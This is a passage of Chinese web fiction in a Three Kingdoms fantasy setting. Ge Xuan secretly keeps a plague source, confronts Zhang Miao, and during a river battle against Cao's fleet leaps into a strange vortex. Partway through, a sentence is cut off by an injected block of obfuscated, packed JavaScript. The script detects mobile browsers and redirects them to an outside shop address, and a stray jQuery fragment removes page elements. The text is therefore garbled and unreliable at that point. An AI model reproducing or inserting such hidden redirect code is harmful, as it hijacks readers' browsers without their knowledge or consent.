“葛根、麻黄、桂枝……”葛玄边写边拨弄着桌上的三位药材,将它们按一定比例堆放。
正要拿笔继续写的时候,她忽然瞥见书柬中夹着的纸不知什么时候露了一个小小的边出来。她的心瞬间空了一拍,她立即抽出那张只有零星墨点的纸张,放到烛台面前烧了个清光。
火星轻飘飘的,升上空中一瞬就燃尽,但余灰落在葛玄心头却如巨石般沉重。
既然有人看到了这张纸,看来她的计划还要再加快,她决不允许再生任何变故。
葛玄带上面纱,用手巾隔着拿出一个放木匣中、被层层包裹的玉瓶。药瓶在烛火下泛出淡淡的光泽,如此洁白如玉。
这里面放着的就是僵瘟的传染源。
寂静的夜里突然响起几声叩门声,伴随着张邈轻飘飘的声音:“葛玄,开门。”
葛玄望了手中的眼玉瓶,嘴角轻轻上扬起来。她将玉瓶放回木匣后,为张邈打开了门。
“不愧是你,用这么多人命陪你上路,就算你真决定这么做了,也用不着牺牲这么多无辜的士兵吧!”
今夜云团重重叠叠,没有一丝月光穿云而过,当葛玄打开门后,屋内的烛火爆发出的万丈光芒将她团团包围。所以即使在面对张邈的逼问时,葛玄也如神明看如蝼蚁的世人般,带着鄙夷和不屑。
“我决定做什么?”但她有点怀疑自己是不是看错了,因为张邈眼中不仅有愤怒,还竟有一丝担忧。
“我不傻,我知道你想做什么。为了不存在的东西牺牲掉这一切值得么?或者说你将希望投靠在这样一个虚幻的东西上,有意义么?”
张邈站在门前没有进屋,但脸被烛火照的光亮。葛玄想象中的仙巫可能也像他们这样,一个站在光中却背着光,脸完全藏在黑暗里,一个站在黑暗中却迎着光,脸上的表情被光照的如此圣洁。
一路走来,在路上留下的脚印越是深,在她心里留下的痕迹越是大,她也越是确认这个世道确实是无药可救了。
她的眼神在那一瞬变得无比严肃,不容置疑的压迫如瀑布般倾泻:“希望是必须要避免的东西,它会使人成为命运的奴隶,我遵循的一直都是自己的内心。如果我做的事没有意义,那我的存在也毫无意义。”
“所以你要弃局了?”张邈的脸在灯火的照拂下是如此洁净通透,但那张原本出尘清雅的面容在此刻竟显得十分狼狈。
葛玄特别喜欢看张邈这幅破碎的模样,那种得知信仰崩塌,认知被碾碎的无力间又带着愤怒的凄凉感,任谁看了都会想好好疼惜一番。
葛玄勾起嘴角:“你错了,这才是我要做的,这才是我的局。”
她一开始就奔着这个目标来的,现在才终于要收网!
包括眼前这个人。
葛玄将张邈一把拉入屋内,张邈重心不稳被直接跌倒在地。葛玄没有多说什么,直接吻了上去。双唇交织间,仅仅一瞬她就感觉他有了剧烈的反应,想要挣扎着推开自己。
见过袁基那般清冷贵公子礼乐崩坏的模样,她也真的很想看看理智克制的张邈濒临压抑顶峰的瞬间。
而且她觉得张邈会更有趣,袁基是渴望解脱的,所以葛玄很轻易就撕下了他的假面,张邈则是自己给自己设下了牢笼。
她扶着桌沿坐回桌前,从放着玉瓶的木匣内拿出一张纸,纸上开头就写着:中平元年,华佗于黄巾之乱初见尸僵之症,今采其样存录,以备研治。
深秋已至,今年农作物收成一如往年只作填饱温存,没有多的用以储备。行军营寨旁的田间地头堆满了采集后余下的枯枝败叶,屋舍间的泥土中也散发着枯叶腐烂的气息。
地里看上去是瘟疫的温床,其实人更是。
孙刘联军中感染瘟疫的人越来越多,僵病如秋日的落叶,掉一片就预兆着整颗树都枯尽了。
军营中,士兵正把感染者的衣物丢入火中。地面上一连片的火堆,似没有燃尽之时。
诸葛亮虽带着面纱,但眼底的肃穆被火光照得明亮,“感染者太多了,军医还没验配出救治的药方。殿下,我军疫情一定要严防保密,如果被曹军得知,后果将不堪设想。”
刘宠望着火堆出了神:“诸葛,曹军那边的瘟疫是不是有所好转?”
“是……他们研配了药方,据说三日内病情就能好转。殿下,这段时间也请减少前往军营,避免感染。这里建议交给张辽防守,殿下等人退回夏口后端,避免曹军突然袭击。”
刘宠跟没听到诸葛亮的话似的,自言自语说起来:“我军到底是怎么感染瘟疫的……”
刘宠只是想不通,明明孙刘联军的士兵都身强体壮,也早已熟悉江南气候,为何还会感染上僵疫?就算是乌林战役中孙刘士兵与曹军有过交手,但潜伏期有这么久吗……
她总感觉背后有只大手在推动这一切,或许就是上天这只大手要将她推入死亡深渊。
此时她再看地面上的火堆,竟有种从地府里冒出的鬼火般瘆人。
张邈从一侧营寨缓缓走出,他全身被白布严密防护,身后还跟着几担被士兵抬出来的尸身,更让她有种见了黑白无常的感觉。
张邈走到刘宠面前,也是只露出一双眼睛,眼里是深沉的冷意:“殿下请回陈国,这里一切事物交由我们打理。曹军铁骑已经抵达汉水南岸,曹军水军既然已经好转,集结力量攻打我们只是时间问题,而我方士兵好转之日仍是遥遥无期,主帅万不可再失力。”
刘宠叹了口气,葛玄近日也是不见踪影,要么就找借口不见她。心中话无处可诉又遇大事,她只觉更加烦闷。
刘宠又深深地叹了口气,她觉得葛玄自从从北方回来后就很奇怪,军事上要么不闻不问,要么就摇摆不定,像是捉弄自己一般。
她左思右想也没想明白自己哪里做的不好,只能归因于自己听信袁基的话把葛玄一个人留在北方,让她被袁基囚禁。之后她一定会狠狠教训袁基,为葛玄出气。
刘宠再次重重地叹了口气,她觉得不能退,要是退了曹操就会更清楚孙刘联军不敌曹军,但所有人都让她退……
如果是葛玄的话也会让她退吗?
刘宠道:“罢,孙策也说要退守夏口,那我等就先避至柴桑。”
孙刘一行人在深夜乘坐一艘商船前往柴桑,夜晚的江风已经沾染上深冬的寒意,让原本晕船的刘宠都清醒起来。
刘宠往船舱外看了一眼,葛玄的身影在黑暗中显得很单薄却很有力。她看见葛玄手里拖着星盘,也许是在算星象占卜。犹豫了一刻,她还是扶着船舱摇摇晃晃走了出去。
“葛玄,在占卜吗?”
葛玄正全神贯注在星象上,听见身后的声音立即警觉起来,看见是刘宠又松懈下来:“殿下?还没睡吗?”
“你不也没睡。”
江两岸没有一点光,前路还散布浓雾,站在船头的人看起来这艘船如同驶进无尽的黑暗。
“葛玄,其实我一直都很想做能让你全盘交付的人,奈何自身才疏力薄,终不能令你全然放心。往后我必加倍勤勉,砥砺精进,还望你始终站在我这边。”
这艘船恰好驶进江雾之中,夜色本就深沉,这下四下无光,只剩对望人明亮的眼眸。
“你为什么想争天下?别说什么守护汉室江山的屁话,说你最真实的想法。”
刘宠一愣,听到这样的话,她下意识巡视四周确保此处只有她们二人,可张口才发现大脑一片空白,嘴巴开开合合,最终看着葛玄道:“因为你说我是平定乱世的天命人。”
“屁话。”
也许是被自己的傻样逗笑,刘宠悠悠笑起来,脑海随之涌出许多画面:
并州习武时最喜欢休憩日,就算是被吕布带出去在街道走走也觉得开心,她最喜欢听街道两旁的人谈天,从村头李婶聊到自家母鸡下蛋……
之后回到陈国,突然背负起这样沉重的外壳,连自己的名字都不能用,可陈国所有人都知道她是谁。她根本不需要假装谁,她只需做她自己。
刘辩死后,自己虽成为罪臣,但身边仍有人对自己不离不弃。自己被千夫所指时,葛玄仍站在自己这边,直到一步步走到今日,遇到了更多愿意支持自己的人。
“因为只有我有能力了,才能守护对我来说重要的人。因为只有等我站在最高位,才能改写这不堪的世道,给所有人一个安身立命之所。白骨遍野,城郭丘墟。我想让所有人都有家。”
江风带着浓烈的水雾,染湿刘宠的眼眸,也蒙在葛玄心头。
愧疚也是一座大山,压在人心头太久了,人就无法喘过气。
葛玄冷冷道:“好,那就切记,你是为了自己去争天下。你要一直带着这份心走下去,这路上无论死多少人,无论有多少背叛你的人,你都不能忘记自己的目标。诸葛亮不错,留住他。”
她说着突然话锋一转,让刘宠也有些惊讶,她便接过话茬:“他确实聪颖,就是年纪尚轻,不过也颇为稳重。葛玄,你不如好好指导他一番,留他做你副手?”
葛玄对刘宠的话没有任何反应,像一樽摆在船头的雕像:“殿下,我还要算星象,你快回舱内休息吧,不然天光一亮,可就没有让你休息的余地了。”
江风凛冽,寒意如江面的水雾包围着船只一般包围着刘宠,十指早已僵冷。她用力攥了攥手,呵出一口白气后默然转身,缓步走回船舱。
孙刘联盟的主帅都抵达柴桑后,不久就传来曹军对夏口展开急攻的消息。
夏口有张辽、伤势初愈的张绣,以及江东派出的甘宁三位将领镇守,不过还是难敌曹操的水军和铁骑同时并进。
水军顺流压境,铁骑又沿江奔袭,两面夹击之势极盛,守军虽拼死力战,终究寡不敌众,夏口最终被曹军攻破。三位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720159|208600||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
将领带着残兵急忙赶回柴桑与众人汇合。
破城之后,曹军士气大振,舟师沿江列阵,浩浩荡荡顺流而下,兵锋直指柴桑,烟尘与帆影绵延数十里,声势骇人。
柴桑已经过了江东边界,刘宠在江东有两个郡,江东更是孙策大本营,这次他们是退无可退了。
两军阵前,空气凝滞如冰,江风卷着血腥味扑面而来,双方将士皆是屏息凝神,目光死死盯住对岸,只待厮杀骤起。
号角一声接着一声,震得江面都在颤动。
顷刻之间江面立即杀作一团,双方水军舟船交错,早已分不清阵线,只余下一片混乱厮杀。
箭矢如暴雨横空飞过,擦着江面嗖嗖作响,中箭之人连声闷哼便坠入江中,江水很快被染成暗红。楼船与斗舰狠狠相撞,木碎飞溅,惨叫与喊杀声混着江浪轰鸣,震得人耳膜发疼。
士兵们攀着船舷跳帮肉搏,刀枪乱挥,鲜血溅在船板上又被浪头打湿。
烟火弥漫,帆樯断裂,江面上漂满断桨、尸体与残破的甲片。
葛玄只身立在一侧船边,冷眼看着在厮杀中剧烈动荡的乱世。
啊,真是让人厌恶,一切都乱糟糟。所有人都能随心所欲,所有人都能为所欲为,完全罔顾律法公理。因为带着人的恶趣味,甚至连只为生存的原始人都不如。
呵,也是,律法公理本来就是人创造的,人对自己创造的东西不会有敬畏之心,只会更理直气壮地将自己视为天之骄子的存在,凌驾在一切生灵之上。
她希望这一切很快就会结束,她没有耐心再看蝼蚁间幼稚的互搏了。
一艘曹军军舰被数只孙刘艨艟轮番撞击,一会的功夫船身就支离破碎,木屑与断帆四散飞溅,残破的船体顷刻便在江面上散了架。
葛玄看着那只船缓缓沉入水中,却在一刹间被江面一股突入其来的巨力完全吸走,连一片残骸都不剩。
怎么会……要不是葛玄一直盯着,她也会以为这不过是自己的错觉。
葛玄的心脏猛烈跳动起来,她立即趴到船边仔细观望江上状况。
江面一片混乱,士兵们正打得火热,也许同样有人留意到了突然消失的沉船,但和杀向自己的敌军相比,没人会在意。
葛玄看了许久,只见那江面再无波澜,静如止水如冬日冰封的河面。她皱起眉,那颗猛烈跳动的心脏逐渐如死水般平静下来。
怎么又不见了?难道真是错觉?
刀剑相撞与士兵厮杀的呐喊声不断撞击着葛玄的心,那些声音如不断落下的雨点,在水面上荡起此起彼伏的涟漪。
就在她烦躁地想观望别处时,心底如河畔那片兜住落雨的叶片,再也承不住分毫重量,顷刻间倾翻,万千雨珠轰然坠下,在心上溅起万丈惊涛。她突然意识到想打开无极炽穴的通道,还缺了一个最关键的因素——混乱!极致的混乱!
这份混乱意味着大量的死伤与秩序的崩塌,是一场真正的末日狂欢。
她冲到船头的船舵前,号令刘宠的军舰与这艘船一同并行夹击曹军的主战舰。曹军主战舰上的人发现后,也号召其他几艘军舰驶向前方进行防护。
水面上两队快速行驶的军舰,带着同归于尽的决绝冲向对方。
轰————隆————
轰然一声巨响,船首狠狠相撞,木裂涛飞,江水被激得冲天而起。
葛玄差点都被甩飞出去,正死死拽着船壁上的钩子。然而留给她的时间不多了,这艘船被撞断,大半船头裂开,也很快就要沉入水底。
剧烈的撞击让她头脑有些发沉,她晃了晃脑袋,勉强站起身,却惊奇的发现水面一片船体残骸中有一处没有任何波澜的平衡点!
那一处水面上没有任何木屑碎片与残肢血痕,像是没有被战火渲染的平静之地。
船下沉的速度很快,快到葛玄刚摇摇晃晃站起身,船身就已经有了明显的倾斜。她身边的东西都在快速滑落,唯独她一动不动。
因为……
她看见那处平静的江面上有一个漩涡。
与其说是一个漩涡,不如说是一个黑点,一个吸食所有接近它的黑点。
……
那是……
出现了……
!!!
出!现!了!
葛玄的心砰砰直跳,眼底燃着灼灼光亮,非但无半分慌乱,反是按捺不住的激越与笃定,似已将战局尽握掌中。
她就知道张道陵的奇闻异录上记载的绝非假话!
左慈此前虽在阻拦她寻找无极,但她知道左慈一定也对无极很好奇,她可真想让左慈一同看看这奇景!
得意、骄傲、狂纵将葛玄心头占满,她目光一凝,没有半分迟疑,毫不犹豫飞身跃入江中。
可就在跳下去的瞬间,她眼角余光瞥见——身后竟也有一道身影,紧随她一同跃入江中!?